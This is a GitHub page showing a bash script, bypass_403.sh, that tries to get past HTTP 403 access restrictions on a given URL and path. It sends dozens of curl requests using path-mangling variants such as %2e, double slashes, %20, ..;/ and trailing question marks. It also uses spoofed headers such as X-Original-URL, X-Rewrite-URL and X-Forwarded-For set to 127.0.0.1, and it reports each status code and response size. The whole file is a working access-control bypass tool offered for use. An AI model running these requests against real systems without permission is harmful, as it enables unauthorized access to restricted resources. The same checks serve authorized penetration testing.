-
Notifications
You must be signed in to change notification settings - Fork 18
/
bypass_403.sh
71 lines (70 loc) · 3.98 KB
/
bypass_403.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/bash
echo "./bypass-403.sh https://example.com path"
#exit
#fi
curl -s -o /dev/null -iL -w "%{http_code}","%{size_download}" $1/$2
echo " --> ${1}/${2}"
curl -s -o /dev/null -iL -w "%{http_code}","%{size_download}" $1/%2e/$2
echo " --> ${1}/%2e/${2}"
curl -s -o /dev/null -iL -w "%{http_code}","%{size_download}" $1/$2/.
echo " --> ${1}/${2}/."
curl -s -o /dev/null -iL -w "%{http_code}","%{size_download}" $1//$2//
echo " --> ${1}//${2}//"
curl -s -o /dev/null -iL -w "%{http_code}","%{size_download}" $1/./$2/./
echo " --> ${1}/./${2}/./"
curl -s -o /dev/null -iL -w "%{http_code}","%{size_download}" $1/.//$2/
echo " --> ${1}/.//${2}/"
curl -s -o /dev/null -iL -w "%{http_code}","%{size_download}" -H "X-Custom-IP-Authorization: 127.0.0.1" $1/
echo " --> ${1}/${2} -H X-Custom-IP-Authorization: 127.0.0.1"
curl -s -o /dev/null -iL -w "%{http_code}","%{size_download}" $1//$2/%00
echo " --> ${1}/${2}/%00"
curl -s -o /dev/null -iL -w "%{http_code}","%{size_download}" -H "X-Original-URL: $2" $1/
echo " --> ${1}/${2} -H X-Original-URL: ${2}"
curl -s -o /dev/null -iL -w "%{http_code}","%{size_download}" -H "X-Original-URL: /$2" $1/$2anything
echo " --> ${1}/${2}anything -H X-Original-URL: /${2}"
curl -s -o /dev/null -iL -w "%{http_code}","%{size_download}" -H "X-Custom-IP-Authorization: 127.0.0.1" $1/$2
echo " --> ${1}/${2} -H X-Custom-IP-Authorization: 127.0.0.1"
curl -s -o /dev/null -iL -w "%{http_code}","%{size_download}" -H "X-Forwarded-For: http://127.0.0.1" $1/$2
echo " --> ${1}/${2} -H X-Forwarded-For: http://127.0.0.1"
curl -s -o /dev/null -iL -w "%{http_code}","%{size_download}" -H "X-Forwarded-For: 127.0.0.1:80" $1/$2
echo " --> ${1}/${2} -H X-Forwarded-For: 127.0.0.1:80"
curl -s -o /dev/null -iL -w "%{http_code}","%{size_download}" -H "X-Forwarded-For: 127.0.0.1" $1/$2
echo " --> ${1}/${2} -H X-Forwarded-For: 127.0.0.1"
curl -s -o /dev/null -iL -w "%{http_code}","%{size_download}" -H "X-rewrite-url: $2" $1
echo " --> ${1} -H X-rewrite-url: ${2}"
curl -s -o /dev/null -iL -w "%{http_code}","%{size_download}" -H "X-rewrite-url: /$2" $1
echo " --> ${1} -H X-rewrite-url: /${2}"
curl -s -o /dev/null -iL -w "%{http_code}","%{size_download}" -H "Referer: /$2" $1/$2
echo " --> ${1}/${2} -H Referer: /${2}"
curl -s -o /dev/null -iL -w "%{http_code}","%{size_download}" -H "X-Originating-IP: 127.0.0.1" $1/$2
echo " --> ${1}/${2} -H X-Originating-IP: 127.0.0.1"
curl -s -o /dev/null -iL -w "%{http_code}","%{size_download}" -H "X-Remote-IP: 127.0.0.1" $1/$2
echo " --> ${1}/${2} -H X-Remote-IP: 127.0.0.1"
curl -s -o /dev/null -iL -w "%{http_code}","%{size_download}" -H "X-Client-IP: 127.0.0.1" $1/$2
echo " --> ${1}/${2} -H X-Client-IP: 127.0.0.1"
curl -s -o /dev/null -iL -w "%{http_code}","%{size_download}" -H "X-Host: 127.0.0.1" $1/$2
echo " --> ${1}/${2} -H X-Host: 127.0.0.1"
curl -s -o /dev/null -iL -w "%{http_code}","%{size_download}" -H "X-Forwarded-Host: 127.0.0.1" $1/$2
echo " --> ${1}/${2} -H X-Forwarded-Host: 127.0.0.1"
curl -s -o /dev/null -iL -w "%{http_code}","%{size_download}" $1/$2%20/
echo " --> ${1}/${2}%20/"
curl -s -o /dev/null -iL -w "%{http_code}","%{size_download}" $1/$2/%20/
echo " --> ${1}/${2}/%20/"
curl -s -o /dev/null -iL -w "%{http_code}","%{size_download}" $1/%20$2%20/
echo " --> ${1}/%20${2}%20/"
curl -s -o /dev/null -iL -w "%{http_code}","%{size_download}" $1/$2?
echo " --> ${1}/${2}?"
curl -s -o /dev/null -iL -w "%{http_code}","%{size_download}" $1/$2???
echo " --> ${1}/${2}???"
curl -s -o /dev/null -iL -w "%{http_code}","%{size_download}" $1/$2//
echo " --> ${1}/${2}//"
curl -s -o /dev/null -iL -w "%{http_code}","%{size_download}" $1/$2?
echo " --> ${1}/${2}?"
curl -s -o /dev/null -iL -w "%{http_code}","%{size_download}" $1/$2/
echo " --> ${1}/${2}/"
curl -s -o /dev/null -iL -w "%{http_code}","%{size_download}" $1/$2/.random
echo " --> ${1}/${2}/.random"
curl -s -o /dev/null -iL -w "%{http_code}","%{size_download}" $1/$2..;/
echo " --> ${1}/${2}..;/"
curl -s -o /dev/null -iL -w "%{http_code}","%{size_download}" $1/$2;/
echo " --> ${1}/${2};/"